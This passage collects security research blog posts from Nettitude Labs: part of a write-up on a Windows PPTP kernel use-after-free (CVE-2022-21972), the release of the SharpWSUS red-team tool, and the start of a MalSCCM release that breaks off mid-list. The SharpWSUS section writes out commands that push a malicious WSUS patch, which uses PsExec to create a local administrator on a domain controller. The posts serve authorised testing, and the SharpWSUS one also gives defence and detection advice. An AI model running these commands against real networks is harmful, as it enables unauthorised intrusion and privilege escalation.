00000020 ContextConnectQueryCallback dq ? ; CtlConnectQueryCallback
  • PptpCtlCtx – The PPTP specific context structure for the control connection.
  • CtlReceiveCallback – The PPTP control connection receive callback.
  • CtlDisconnectCallback – The PPTP control connection disconnect callback.
  • CtlConnectQueryCallback – The PPTP control connection query (used to get client information on a new connection being complete) callback.

raspptp.sys Object Life Cycles

The final bit of background information we need to understand before we delve into the vulnerability is the way that raspptp keeps these context structures alive for a given socket. In the case of the PptpCtlCtx structure, both the client socket and the PptpCtlCtx structure have a reference count.

This reference count is intended to be incremented every time a reference to either object is created. These are initially set to 1 and when decremented to 0 the objects are freed by calling a free callback stored within each structure. This obviously only works if the code remembers to increment and decrement the reference counts properly and correctly lock access across multiple threads when handling the respective structures.

Within raspptp.sys, the code that performs the reference increment and de-increment functionality usually looks like this:

// Increment code
_InterlockedIncrement(&Ctx->ReferenceCount);

// Decrement Code
if ( _InterlockedExchangeAdd(&Ctx->ReferenceCount, 0xFFFFFFFF) == 1 )
    ((void (__fastcall *)(CtxType *))Ctx->fpFreeHandler)(Ctx);

As you may have guessed at this point, the vulnerability we’re looking at is indeed due to incorrect handling of these reference counts and their respective locks, so now that we have covered the background stuff let’s jump into the juicy details!

The Vulnerability

The first part of our use after free vulnerability is in the code that handles receiving PPTP control data for a client connection. When new data is received by raspptp.sys the WSK layer will dispatch a call the the appropriate event callback. raspptp.sys registers a generic callback for all sockets called ReceiveData. This function parses the incoming data structures from WSK and forwards on the incoming data to the client sockets contexts own receive data call back. For a PPTP control connection, this callback is the CtlReceiveCallback function.

The section of the ReceiveData function that calls this callback has the following pseudo code. This snippet includes all the locking and reference increments that are used to protect the code against multi threaded access issues…

_InterlockedIncrement(&ClientCtx->ConnectionContextRefernceCount);
((void (__fastcall *)(PptpCtlCtx *, PptpCtlInputBufferCtx *, _NET_BUFFER_LIST *))ClientCtx->ContextRecvCallback)(
ClientCtx->ContextPtr,
lpCtlBufferCtx,
NdisNetBuffer);

the CtlReceiveCallback function has the following pseudo code:

__int64 __fastcall CtlReceiveCallback(PptpCtlCtx *PptpCtlCtx, PptpCtlInputBufferCtx *PptpBufferCtx, _NET_BUFFER_LIST *InputBufferList)
{
    PptpCtlCtx *lpPptpCtlCx;
    PNET_BUFFER lpInputFirstNetBuffer;
    _NET_BUFFER_LIST *lpInputBufferList;
    ULONG NetBufferLength;
    PVOID NetDataBuffer;

    lpPptpCtlCx = PptpCtlCtx;
    lpInputFirstNetBuffer = InputBufferList->FirstNetBuffer;
    lpInputBufferList = InputBufferList;
    NetBufferLength = lpInputFirstNetBuffer->DataLength;
    NetDataBuffer = NdisGetDataBuffer(lpInputFirstNetBuffer, lpInputFirstNetBuffer->DataLength, 0i64, 1u, 0);
    if ( NetDataBuffer )
        CtlpEngine(lpPptpCtlCx, (uchar *)NetDataBuffer, NetBufferLength);
        ReceiveDataComplete(lpPptpCtlCx->CtlWskClientSocketCtx, lpInputBufferList);
        return 0i64;
}

The CtlpEngine function is the state machine responsible for parsing the incoming PPTP control data. Now there is one very important piece of code that is missing from these two sections and that is any form of reference count increment or locking for the PptpCtlCtx object!

Neither of the callback handlers actually increment the reference count for the PptpCtlCtx or attempt to lock access to signify that it is in use; this is potentially a vulnerability because if at any point the reference count was to be decremented then the object would be freed! However, if this is so bad, why isnt every PPTP server just crashing all the time? The answer to this question is that the CtlpEngine function actually uses the reference count correctly.

This is where things get confusing. Assuming that the raspptp.sys driver was completely single threaded, this implementation would be 100% safe as no part of the receive pipeline for the control connection decrements the object reference count without first performing an increment to account for it. In reality however, raspptp.sys is not a single threaded driver. Looking back at the initialization of the PptpCtlCtx object, there is one part of particular interest.

TimerCharacteristics.FunctionContext = PptpCtlCtx;
TimerCharacteristics.TimerFunction = (PNDIS_TIMER_FUNCTION)CtlpWaitTimeout;
if ( NdisAllocateTimerObject(
    lpNDISMiniportHandle_1,
    &TimerCharacteristics,
    &lpPptpCtlCtx->CtlWaitTimeoutNdisTimerHandle) )

Here we can see the allocation of an Ndis timer object. The actual implementation of these timers isn’t important, but what is important is that these timers dispatch there callbacks on a separate thread to that of which WSK dispatches the ReceiveData callback. Another interesting point is that both use the PptpCtlCtx structure as their context structure.

So what does this timer callback do and when does it happen? The code that sets the timer is as follows:

NdisSetTimerObject(newClientCtlCtx->CtlWaitTimeoutNdisTimerHandle, (LARGE_INTEGER)-300000000i64, 0, 0i64);// 30 second timeout timer

We can see that a 30 second timer trigger is set and when this 30 seconds is up, the CtlpWaitTimeout callback is called. This 30 second timer can be canceled but this is only done when a client performs a PPTP control handshake with the server, so assuming we never send a valid handshake after 30 seconds the callback will be dispatched. But what does this do?

The CtlpWaitTimeout function is used to handle the timer callback and it has the following pseudo code:

LONG __fastcall CtlpWaitTimeout(PVOID Handle, PptpCtlCtx *Context)
{
    PptpCtlCtx *lpCtlTimeoutEvent;

    lpCtlTimeoutEvent = Context;
    CtlpDeathTimeout(Context);
    return KeSetEvent(&lpCtlTimeoutEvent->CtlWaitTimeoutTriggered, 0, 0);
}

As we can see the function mainly serves to call the eerily named CtlpDeathTimeout function, which has the following pseudo code:

void __fastcall CtlpDeathTimeout(PptpCtlCtx *CtlCtx)
{
    PptpCtlCtx *lpCtlCtx;
    __int64 Unkown;
    CHAR *v3;
    char SockAddrString;

    lpCtlCtx = CtlCtx;
    memset(&SockAddrString, 0, 65ui64);
    if...
        CtlSetState(lpCtlCtx, CtlStateUnknown, Unkown, 0);
        CtlCleanup(lpCtlCtx, 0);
}

This is where things get even more interesting. The CtlCleanup function is the function responsible for starting the process of tearing down the PPTP control connection. This is done in two steps. First, the state of the Control connection is set to CtlStateUnknown which means that the CtlpEngine function will be prevented from processing any further control connection data (kind of). The second step is to push a task to run the similarly named CtlpCleanup function onto a background worker thread which belongs to the raspptp.sys driver.

The end of the CtlpCleanup function contains the following code that will be very useful for us being able to trigger a use after free as it will always run on a different thread to the CtlpEngine function.

result = (unsigned int)_InterlockedExchangeAdd(&lpCtlCtxToCleanup->CtlCtxReferenceCount, 0xFFFFFFFF);
if ( (_DWORD)result == 1 )
    result = ((__int64 (__fastcall *)(PptpCtlCtx *))lpCtlCtxToCleanup->fpCtlCtxFreeFn)(lpCtlCtxToCleanup);

It decrements the reference count on the PptpCtlCtx object and even better is that no part of this timeout pipeline increments the reference count in a way that would prevent the free function from being called!

So, theoretically, all we need to do is find some way of getting the CtlpCleanup and CtlpEngine function to run at the same time on seperate threads and we will be able to cause a Use after Free!

However, before we celebrate too early, we should take a look at the function that actually frees the PptpCtlCtx function because it is yet another callback. The fpCtlCtxFreeFn property is a callback function pointer to the CtlFree function. This function does a decent amount of tear down as well but the bits we care about are the following lines

WskCloseSocketContextAndFreeSocket(CtlWskContext);/
lpCtlCtxToFree->CtlWskClientSocketCtx = 0i64;
...
ExFreePoolWithTag(lpCtlCtxToFree, 0);

Now there is more added complication in this code that is going to make things a little more difficult. The call to WskCloseSocketContextAndFreeSocket actually closes the client socket before freeing the PptpCtlCtx structure. This means that at the point the PptpCtlCtx structure is freed, we will no longer be able to send new data to the socket and trigger any more calls into CtlpEngine. However, this doesn’t mean that we can’t trigger the vulnerability, since if data is already being processed by CtlpEngine when the socket is closed we simply need to hope the thread stays in the function long enough for the free to occur in CtlFree and boom – we have a UAF.

Now that we have a good old fashioned kernel race condition, let’s take a look at how we can try to trigger it!

The Race Condition

Like any good race condition, this one contains a lot of moving parts and added complication which make triggering it a non trivial task, but it’s still possible! Let’s take a look at what we need to happen.

  1. 30 second timeout is triggered and eventually runs CtlCleanup, pushing a CtlpCleanup task onto a background worker thread queue.
  2. Background worker thread wakes up and starts processing the CtlpCleanup task from its task queue.
  3. CtlpEngine starts or is currently processing data on a WSK dispatch thread when the CtlpCleanup function frees the underlying PptpCtlCtx structure from the worker thread!
  4. Bad things happen…

Triggering the Race Condition

The main parts of this race condition to consider are what are the limits on the data can we send to the server to spend as much time as possible in CtlpEngine parsing loop and can we do this without cancelling the timeout?

Thankfully as previously mentioned the only way to cancel the timeout is to perform a PPTP control connection handshake, which technically means we can get the CtlpEngine function to process any other part of the control connection, as long as we don’t start the handshake. However the state machine within CtlpEngine needs the handshake to take place to enable any other part of the control connection!

There is one part of the CtlpEngine state machine that can still be partially validly hit (without triggering an error) before the handshake has taken place. This is the EchoRequest control message type. Now we can’t actually enter the proper handling of the message type before the handshake has taken place but what we can do is use it to iterate through all the sent data in the parsing loop without triggering a parsing error. This effectively forms a way of us spinning inside the CtlpEngine function without cancelling the timeout which is exactly what we want. Even better is that this remains true when the CtlStateUnknown state is set by the CtlCleanup function.

Unfortunately the maximum amount of data we can process in one WSK receive data event callback trigger is limited to the maximum data that can be received in one TCP packet. In theory this is 65,535 bytes but due to the size limitation of Ethernet frames to 1,500 bytes we can only send ~1,450 bytes (1,500 minus the headers of the other network layer frames) of PPTP control messages in a single request. This works out at around 90 EchoRequest messages per callback event trigger. For a modern CPU this is not a lot to churn through before hopping out of the CtlpEngine function.

Another thing to consider is how do we know if the race condition was successful or a failure? Thankfully in this regard the server socket being closed on timeout works in our favour as this will cause a socket exception on the client if we attempt to send any more data once the server closes the socket. Once the socket is closed we know that the race is finished but we don’t necessarily know if we did or didn’t win the race.

With these considerations in place, how do we trigger the vulnerability? It actually becomes a simple proof of concept. Effectively we just continually send EchoRequest PPTP control frames in 90 frame bursts to a server until the timeout event occurs and then we hope that we’ve won the race.

We won’t be releasing the PoC code until people have had a chance to patch things up but when the PoC is successful we may see something like this on our target server:

Because the PptpCtlCtx structure is de-initialised there are a lot of pointers and properties that contain invalid values that, if used at different parts of the Receive Event handling code, will cause crashes in non fun ways like Null pointer deference’s. This is actually what happened in the Blue Screen of Death above, but the CtlpEngine function did still process a freed PptpCtlCtx structure.

Can we use this vulnerability for anything more than a simple BSOD?

Exploitation

Due to the state of mitigation in the Windows kernel against memory corruption exploits and the difficult nature of this race condition, achieving useful exploitation of the vulnerability is not going to be easy, especially if seeking to obtain Remote Code Execution (RCE). However, this does not mean it is not possible to do so.

Exploitability – The Freed Memory

In order to asses the exploitability of the vulnerability, we need to look at what our freed memory contains and where about it is in the Windows kernel heap. In windbg we can use the !pool command to get some information on the allocated chunk that will be freed in our UaF issue.

ffff828b17e50d20 size: 2a0 previous size: 0 (Allocated) *PTPT

We can see here that the size of the freed memory block is 0x2a0 or 672 bytes. This is important as it puts us in the allocation size range for the variable size kernel heap segment. This heap segment is fairly nice for use after free exploitation as the variable size heap also maintains a free list of chunks that have been freed and their sizes. When a new chunk is allocated this free list is searched and if a chunk of an exact or greater size match is found it will be used for the new allocation. Since this is the kernel, any other part of the kernel that allocates non paged pool memory allocations of this or a similar size could end up using this freed slot as well.

So, what do we need in order to start exploiting this issue? ideally we want to find some allocated object in the kernel that we can control the contents of and allocate at 0x2a0 bytes in size. This would allow us to create a fake PptpCtlCtx object, which we can then use to control the CtlpEngine state machine code. Finding an exact size match allocation isn’t the only way we could groom the heap for a potential exploit but it would certainly be the most reliable method.

If we can take control of a PptpCtlCtx object what can we do? One of the most powerful bits of this vulnerability from an exploit development perspective are the callback functions located inside the PptpCtlCtx structure. Usually a mitigation called Control Flow Guard (CFG) or Xtended Flow Guard (XFG) would prevent us from being able to corrupt and use these callback pointers with an arbitrary executable kernel address. However CFG and XFG are not enabled for the raspptp.sys driver (as of writing this blog) meaning we can point execution to any instruction located in the kernel. This gives us plenty of things to abuse for exploitation purposes. A caveat to this is that we are limited to the number of these gadgets we can use in one trigger of the vulnerability, meaning we would likely need to trigger the vulnerability multiple times with different gadgets to achieve a full exploit or at least that’s the case on a modern Windows kernel.

Exploitability – Threads

Allocating an object to fill our freed slot and take control of kernel execution through a fake PptpCtlCtx object sounds great, but one additional restriction on the way in which we do this is that we only have access to CtlpEngine using the freed object for a short period of CPU time. We can’t use the same thread that is processing the CtlpEngine to allocate objects to fill the empty slot, and if we do it would be after the thread has returned from CtlpEngine. At this point the vulnerability will no longer be exploitable.

What this means is that we would need the fake object allocations to be happening in a separate thread in the hope that we can get one of our fake objects allocated and populated with our fake object contents while the vulnerable kernel thread is still in CtlpEngine, allowing us to then start doing bad things with the state machine. All of this sounds like a lot to try and get done in relatively small CPU windows, but it is possible that it could be achieved. The issue with any exploit attempting to do this is going to be reliability, since there is a fairly high chance a failed exploit would crash the target machine and retrying the exploit would be a slow and easily detectable process.

Exploitability – Local Privilege Escalation vs Remote Code Execution

The ability to exploit this issue for LPE is much more likely to be successful over the affected Windows kernel versions than exploiting it for RCE. This is largely due to the fact that an RCE exploit will need to be able to first leak information about the kernel using either this vulnerability or another one before any of the potential callback corruption uses would be viable. There are also far fewer parts of the kernel accessible remotely, meaning finding a way of spraying a fake PptpCtlCtx object into the kernel heap remotely is going to be significantly harder to achieve.

Another reason that LPE is a much more viable exploit route is that the localhost socket or 127.0.0.1 allows for far more data than the ethernet frame capped 1,500 bytes we get remotely, to be processed by each WSK Receive event callback. This significantly increases most of the variables for achieving successful exploitation!

Conclusion

Wormable Kernel Remote Code Execution vulnerabilities are the holy grail of severity in modern operating systems. With great power however comes great responsibility. While this vulnerability could be catastrophic in its impact ,the skill to pull off a successful and undetected exploit is not to be underestimated. Memory corruption continues to become a harder and harder art form to master, however there are definitely those out there with the ability and determination to achieve the full potential of this vulnerability. For these reasons CVE-2022-21972 is a vulnerability that represents a very real threat to internet connected Microsoft based VPN infrastructure. We recommend that this vulnerability is patched with priority in all environments.

Timeline

  • Vulnerability Reported To Microsoft – 29 Oct 2021
  • Vulnerability Acknowledged – 29 Oct 2021
  • Vulnerability Confirmed – 11 November 2021
  • Patch Release Date Confirmed – 12 November 2021
  • Patch Release – 10 May 2022

The post CVE-2022-21972: Windows Server VPN Remote Kernel Use After Free Vulnerability (Part 1) appeared first on Nettitude Labs.

Introducing SharpWSUS

5 May 2022 at 09:00

Today, we’re releasing a new tool called SharpWSUS.  This is a continuation of existing WSUS attack tooling such as WSUSPendu and Thunder_Woosus. It brings their complete functionality to .NET, in a way that can be reliably and flexibly used through command and control (C2) channels, including through PoshC2.

The Background to SharpWSUS

During a recent red team engagement, a client wanted to see if a backup server could be compromised. The backup server was critical to the organisation and had consequently been the target of several rounds of red teaming and subsequent remediation, making compromise difficult. During this engagement, we found that the backup server had been removed from Active Directory (AD) and was also segmented from the network, making common lateral movement techniques unsuitable. The only common path seen was Remote Desktop Protocol (RDP) from certain hosts on the network to the target server with a local account. However, no local account was identified during the engagement. With this in mind, we looked for other avenues, for example leveraging servers that would need to connect to all other servers in the environment, and which would need to authenticate and issue code in some way. Enter Windows Server Update Services (WSUS).

Download SharpWSUS

github GitHub: https://github.com/nettitude/SharpWSUS

WSUS Introduction

WSUS is a Microsoft solution for administrators to deploy Microsoft product updates and patches across an environment in a scalable manner, using a method where the internal servers do not need to reach out to the internet directly. WSUS is extremely common within Windows corporate environments.

WSUS Architecture

Typically, the architecture of WSUS deployments is quite simple, although they can be configured in more complex ways. The most common deployment consists of one WSUS server within the corporate network. This server will reach out to Microsoft over HTTP and HTTPS to download Microsoft patches. After downloading these, the WSUS server will deploy the patch to clients as they check in to the WSUS server. Communication between the WSUS server and the clients will occur on port 8530 for HTTP and 8531 for HTTPS. An example of this deployment is below:

Diagram Description automatically generated

This image is from https://docs.microsoft.com/de-de/security-updates/windowsupdateservices/18127657.

In a more complex deployment of WSUS, there may be one main WSUS server that communicates over the internet to Microsoft, then internally the main WSUS server pushes the patches out to other internal WSUS servers, which then deploy it to clients. In this scenario the WSUS server connecting to the internet would be known as the Upstream Server, and the WSUS servers that do not have internet access and get their patches from the Upstream Server would be Downstream Servers. An example diagram of this is below:

Diagram Description automatically generated

This image is from https://docs.microsoft.com/de-de/security-updates/windowsupdateservices/18127657.

The most common deployment seen is a singular WSUS server deploying patches to all clients within the estate. This deployment means that one server in the environment can communicate to all servers and clients managed by WSUS, which make WSUS a very attractive target for bypassing network segmentation.

SharpWSUS

Attacks on WSUS are nothing new and there is already fantastic tooling out there for abusing WSUS for lateral movement such as WSUSPendu (https://github.com/AlsidOfficial/WSUSpendu), which is the PowerShell script that formed the basis for this tool. There is also another .NET tool publicly available called Thunder_Woosus (https://github.com/ThunderGunExpress/Thunder_Woosus) which aimed to take some functionality from WSUSPendu and port it to .NET.

SharpWSUS is a continuation of this tooling and aims to bring the complete functionality of WSUSPendu and Thunder_Woosus to .NET in a tool that can be reliably used through C2 channels and offers flexibility to the operator.

The flow of using SharpWSUS for lateral movement is as follows:

  • Locate the WSUS server and compromise it.
  • Enumerate the contents of the WSUS server to determine which machines to target.
  • Create a WSUS group.
  • Add the target machine to the WSUS group.
  • Create a malicious patch.
  • Approve the malicious patch for deployment.
  • Wait for the client to download the patch.
  • Clean up after the patch is downloaded.

Locating the WSUS server

The WSUS server that a client is using can be found by querying the following registry key:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate

This key will be present on any workstation or server managed through WSUS. Since the most common deployment is of a singular WSUS server, there is a good chance that the one in the key is the same one used for critical servers.

This can be enumerated through SharpWSUS using SharpWSUS.exe locate.

Text Description automatically generated

Enumerating the WSUS server

Once the WSUS server is compromised, SharpWSUS can be used to enumerate various details about the WSUS deployment, such as the computers being managed by the current server, the last time each computer checked in for an update, any Downstream Servers, and the WSUS groups.

This is done through the command SharpWSUS.exe inspect.

Text Description automatically generated

This provides the information needed to choose which machine to target in the environment. For example, within this environment this WSUS server managed the Domain Controllers such as bloredc2.blorebank.local. This is a common configuration of WSUS and often not treated as critical as Domain Controllers or other assets it manages. For this demo we will compromise the Domain Controller by adding a new local administrator.

Lateral Movement

A key consideration with WSUS lateral movement is that there is no way to control when a client checks in from the server. This means that once a patch is deployed the lateral movement won’t succeed until the client installs the update. Often times the client will check in for patches on a regular cycle, for example daily, but the patches won’t be installed until a patching day that might happen once a month. Some clients may be configured to install patches immediately if their priority level is high enough.

The first step of abusing WSUS is to create the malicious patch, which does have some limitations. When creating the patch there are various values that can be configured through the command line in SharpWSUS, allowing the operator to change the Indicators of Compromise (IoCs) of the patch. There is also a value for the payload and arguments. The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to that binary.

While the need for a signed binary can limit some attack paths, there are still plenty of binaries that could be used such as PsExec.exe to run a command as SYSTEM, RunDLL32.exe to run a malicious DLL on a network share, MsBuild.exe to grab and execute a remote payload and more. The example in this blog will use PsExec.exe for code execution (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

A patch leveraging PsExec.exe can be done with the following command:

SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"

Note that the way the quotes are escaped will change based on how you are executing the command. The escaping above is the command used within PoshC2.

Text Description automatically generated

Note the GUID returned from the command as this GUID is the Update ID of the patch and will be needed for further commands including cleaning up.

This malicious patch uses the PsExec.exe binary stored on the WSUS server which was uploaded through the C2. This patch will add a new user with the username WSUSDemo and grant them administrative rights over whichever machine it is installed on.

When the patch is created it will be visible in the WSUS console. The patch made can be seen below:

Graphical user interface, text, application Description automatically generated

If the patch is clicked, then more information can be seen:

Graphical user interface, text, application, email Description automatically generated

As part of the patch creation process, the binary used in the patch is also copied to the WSUS content location and called “wuagent.exe”. In this case the WSUS content location is “C:\UPDATES\WsusContent”, and the binary will be copied too “C:\UPDATES\wuagent.exe”. This allows it to be collected from the WSUS client. If the binary is executed the PsExec.exe help menu is seen, showing its just a copy of the Windows signed binary.

Text Description automatically generated

After the patch is made, the next steps are to create a group, add the target computer to the group and then deploy the patch to that group. This is due to WSUS patches being approved per WSUS group and not per machine. This means that for targeting a specific machine, it would be necessary to ensure that the machine is in a group with no other machines.

This can be done with one command in SharpWSUS through the following command:

SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group", where the updateid GUID is the one provided in the output of the create command.

Text Description automatically generated

This will check if the group “Demo Group” exists and create it if it doesn’t. It will then add the Domain Controller to the group and approve the malicious patch for the group.

You can check the group being created by running the inspect command again.

Graphical user interface, text Description automatically generated

This can also be seen in the WSUS console.

Graphical user interface, text, application Description automatically generated

After this it is a waiting game for the client to download and install the patch. SharpWSUS can be used to enumerate the status of the update:

SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local”, where the updateid is the same as before.

Text Description automatically generated

This value is pretty slow to update and can be unreliable. It is the same way using the WSUS console as well, it seems like WSUS is just not very efficient at tracking status. Until the target computer next checks in the value will not be populated so it will return the message above.

To speed up the demo the client will be forced to look for updates.

Graphical user interface, text, timeline Description automatically generated with medium confidence

This showed important updates to be installed…

Timeline Description automatically generated

… including the malicious patch.

Graphical user interface, application, Word Description automatically generated

Checking the local Administrators group of the DC to make sure there is no conflicting user:

Graphical user interface, text Description automatically generated

Then the patch is installed:

Text Description automatically generated with medium confidence

The new local administrator was made on the Domain Controller!

Graphical user interface, application Description automatically generated

Once the patch is installed on the target machine, the client will be able to see the following information.

Graphical user interface, text, application, email Description automatically generated

If they click on the title of the update they will be taken to the details for the patch.

Graphical user interface, text, application, email Description automatically generated

Once the client has checked in the status will be updated. This is still delayed and can take time to alter in the database. It seems the value will be updated when the computer next checks-in after its installed, which can take a few check-ins.

Text Description automatically generated

Once the patch is installed clean-up can be performed within SharpWSUS with the following command:

SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group”

Text Description automatically generated

This will decline the patch, delete the patch, remove the target from the group and delete the group.

Looking on the WSUS console it can be seen that the group is removed.

Graphical user interface, text, application Description automatically generated

If the patch is explicitly searched for within WSUS, it is no longer there.

Graphical user interface, text, application, email Description automatically generated

It should be noted that the patch binary “wuagent.exe” will remain on disk and is up to the operator to delete manually.

Protecting Against WSUS Abuse

Lateral movement through WSUS is not a new technique, however it is an option that will likely remain available to attackers for some time. Whilst preventing this access to local SYSTEM to abuse WSUS like this is not possible, it is possible to understand the attack path and take precautions.

The best defence against this would be segmenting the WSUS server from the network so that the server itself is more difficult to compromise, along with implementing a tiered WSUS structure with Upstream and Downstream Servers so that clients can be distributed between each relevant WSUS server.

Segmentation of the WSUS servers from the network makes the WSUS server more difficult to compromise and can force an attacker down a specific path that could be detected. Separating clients out to different WSUS servers limits where an attacker can laterally move to after compromising a downstream Server.

Various artefacts exist that may present an opportunity for detection:

  • A new WSUS group with one host is likely to be created. For more mass ransomware type attacks this may be all hosts in a new group.
    • The default group name within SharpWSUS is “InjectGroup”
  • The malicious patch itself and its metadata could all lead to detection opportunity if looking for patches outside of the normal Microsoft patches. The default patch created by SharpWSUS will have the following metadata:
    • Title: “SharpWSUS Update”
    • Date: “2021-09-26”
    • Rating: “Important”
    • KB: “5006103”
    • Description: “Install this update to resolve issues in Windows.”
    • URL: “https://www.nettitude.com”
  • When the patch is created, a Microsoft signed binary will be copied to the WSUS web root. If the WSUS content location was C:\Updates\WSUSContent for example, then the signed binary would be placed in C:\Updates\WUAgent.exe. This binary will not be removed after the patch is deleted, so this binary on disk could provide detection cases for WSUS being abused and may indicate what the abuse was (such as PsExec.exe, MsiExec.exe etc).
  • When the WSUS patch is approved, the user that approved it is stored and can be seen in the console. This appears to be often “WUS Server”, and that is what SharpWSUS will use. If your environment uses an alternate approval user then this could stand out.

Summary

WSUS is a core part of Windows environments and is very often deployed in a way that would allow an attacker to use it to bypass internal networking restrictions. This blog has not detailed any new attack techniques, but the release of SharpWSUS (https://github.com/nettitude/SharpWSUS) aims to aid with offensive security professionals utilising this attack path through C2 to demonstrate the risks and aid with improvement.

Download SharpWSUS

github GitHub: https://github.com/nettitude/SharpWSUS

The post Introducing SharpWSUS appeared first on Nettitude Labs.

Introducing MalSCCM

4 May 2022 at 09:00

During red team operations the goal is often to compromise a system of high value. These systems will ideally be segmented from the wider network and locked down to prevent compromise. However, the organisation still needs to be able to manage these devices in scalable and reliable ways, such as being able to deploy patches or scripts for administration. Enter Microsoft System Centre Configuration Manager (SCCM).

Download MalSCCM

Today, we have released MalSCCM, which takes some of the functionality of PowerSCCM and enhances some usage aspects, making it more appropriate for Command and Control usage.

We will be presenting a talk that covers two new tools, including this one, at Black Hat Asia on May 13th @ 10:15 SGT.  You can download MalSCCM from the repository below.

github GitHub: https://github.com/nettitude/MalSCCM

Read on for more information about how MalSCCM can be used to laterally move and act on objectives.

SCCM Introduction

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation. SCCM allows for a great deal of functionality, including pushing PowerShell scripts to its clients, pushing commands to its clients, opening remote terminal sessions on clients, installing software on its clients, altering policies on its clients and more.

This range of functionality makes it an ideal target for attackers that want to laterally move within an environment whilst blending in with normal activity. To compromise SCCM it is necessary to understand the different ways SCCM can be deployed within an environment.

SCCM Architecture

SCCM can be deployed in a number of ways to be ideal for the target environment, however there is some common terminology:

  • Central Administration Site – When there are multiple Primary Sites (environments) this will be the one central location that management is performed from and will be passed down to each relevant Primary Site. Installation of a Central Administration Site can only be done for large environments with more than 100,000 clients.
  • Primary Site – These are the main management points for each environment. Unless a Central Administration Site is within the environment, this will be the point where all management is performed and pushed out.
  • Secondary Site – These sites are children of Primary Sites and are managed by the Primary Site, however they have their own SQL databases, and they aid with establishing connections between endpoint clients and the Primary Site.
  • Distribution Point – These are the servers that actually deliver the contents of the updates to the endpoint clients. Each Distribution Point supports up to 4,000 clients, and by default both Primary Sites and Secondary Sites are also a Distribution Point.

With this range of roles within SCCM, there are a large number of configurations for how any given endpoint may be retrieving updates. A visual representation of a possible hierarchy is below: SMS/SCCM, Beyond Application Deployment - Matthew Hudson: Hierarchy Simplification and Secondary&#39;s

The image above is from http://sms-hints-tricks.blogspot.com/2012/06/hiearchy-simplification-and-secondarys.html.

The simplest configuration is a Primary Site which has no children Secondary Sites and the Primary Site acts as the Distribution Point itself. This allows SCCM to be deployed and used in the environment with only one server, which is performing all of the roles and can support up to 4,000 clients.

A more robust deployment would be a Primary Site that is segmented from the corporate network which can only talk to Secondary Sites. These Secondary Sites would also be segmented in various parts of the network for various environments. These Secondary Sites would then communicate with Distribution Points on the network which in turn will communicate with the endpoints.

Through either of these deployment styles, if the Primary Site can be compromised, then it offers a great advantage to attackers for widespread command execution. This could be used to proliferate ransomware at scale through an environment, or it could be used to target specific machines and laterally move to them in a variety of ways.

MalSCCM

Tooling for red teams and attackers has long since shifted to .NET, however there are very few tools publicly available for abusing SCCM, making it an attack path that may not be explored as much.

For PowerShell there is PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM) which is great, however using it through C2 introduces a lot of Indicators of Compromise (IoC) for running PowerShell, which may not be appropriate depending on the target’s defence.

With the release of this blog post, Nettitude has released MalSCCM (https://github.com/nettitude/MalSCCM) which takes a subset of the functionality of PowerSCCM and enhances some usage aspects, making it more apt for C2 usage.

As this is the first release of MalSCCM, it currently only enables the abuse of application deployments for lateral movement through SCCM, however this seems to be a reliable method for lateral movement. The functionality included within MalSCCM may increase over time as more attack paths are explored.

MalSCCM – Understanding the deployment

The first hurdle of targeting SCCM is understanding how SCCM is deployed in the environment and which servers to target.

Assuming this is a red team scenario, the first machine compromised is likely an employee’s machine. Whilst on the machine it is worth looking out for processes that indicate the machine is managed by SCCM such as CcmExec.

A screenshot of a computer Description automatically generated with medium confidence

These processes are present on any machine that is an SCCM client, whether it’s a server or a workstation. If the machine is managed by SCCM then it needs to know where its Distribution Point is. This is a value held in the registry and can be read through the following command: MalSCCM.exe locate.

Text Description automatically generated

The locate command will tell you what the SiteCode of the SCCM deployment is (used by SCCM to differentiate Primary Sites) as well as the Distribution Point for the machine. From the endpoint client it is not possible to tell at this point whether the Distribution Point is also the Primary Site, however it may be possible to tell through LDAP looking at naming conventions or descriptions of the server.

Within a red team scenario, it would then be necessary to compromise the environment to a point where you can compromise that Distribution Point. This could for example be compromising a user that is an SCCM administrator or it could be compromising infrastructure administrators, LAPS etc.

If you wanted to assess whether the Distribution Point was also the Primary Site and you didn’t want to get a C2 implant on the server, you could enumerate this through MalSCCM by trying a command such as below:

MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups

If you run this command as an administrator of the Distribution Point server, then this will connect over WMI and attempt to enumerate the local databases. If this returns group information, then the Distribution Point is also the Primary Site.

Text Description automatically generated

In this scenario you could then do all of the SCCM exploitation remotely through MalSCCM by using the /server flag on all commands. This allows you to deploy malicious applications and laterally move without ever getting C2 on the SCCM server itself.

If the remote inspect fails or you want confirmation of the server role, then you could compromise the Distribution Point and run the locate command again on the server:

MalSCCM.exe locate

The Distribution Point will have more registry keys of interest than an endpoint client. When running locate on a Distribution Point it will tell you where it is getting its updates from, which is usually the Primary Site.

Text Description automatically generated

There are multiple registry keys enumerated because the first registry key is not present if you run the command on a Primary Site itself (if it utilises secondary sites).

This tool has not been tested on an environment with Secondary Sites configured, however it is likely that the Distribution Point would return the location of the Secondary Site, and that server would then need to be compromised to find the Primary Site in the same way.

MalSCCM Enumeration

Once the Primary Site is found, it is possible to use the inspect command within MalSCCM to gather information about the SCCM deployment through various WMI classes used by SCCM. As the information returned can be very large, the inspect command has been split into modules.

The modules at release are listed below:

  • Computers – This will return all the computers managed through SCCM. This command will return just the computer name to reduce the output.
  • Groups – This will return all of the SCCM groups. Computers in SCCM can be combined into Groups for pushing applications out, so for example you may have a group for all computers, all application servers, etc. MalSCCM will return the group names and the number of members.
  • PrimaryUser – Within SCCM its possible to have a setting allowed which allows SCCM to track which users are using which machines and create an affiliation between them. Using this can be possible to hunt for specific users in the environment, which is very useful.
  • Forest – This will tell you the SCCM forest name.
  • Packages – This will enumerate the SCCM packages currently listed.
  • Applications – This will return the SCCM applications currently listed within SCCM.
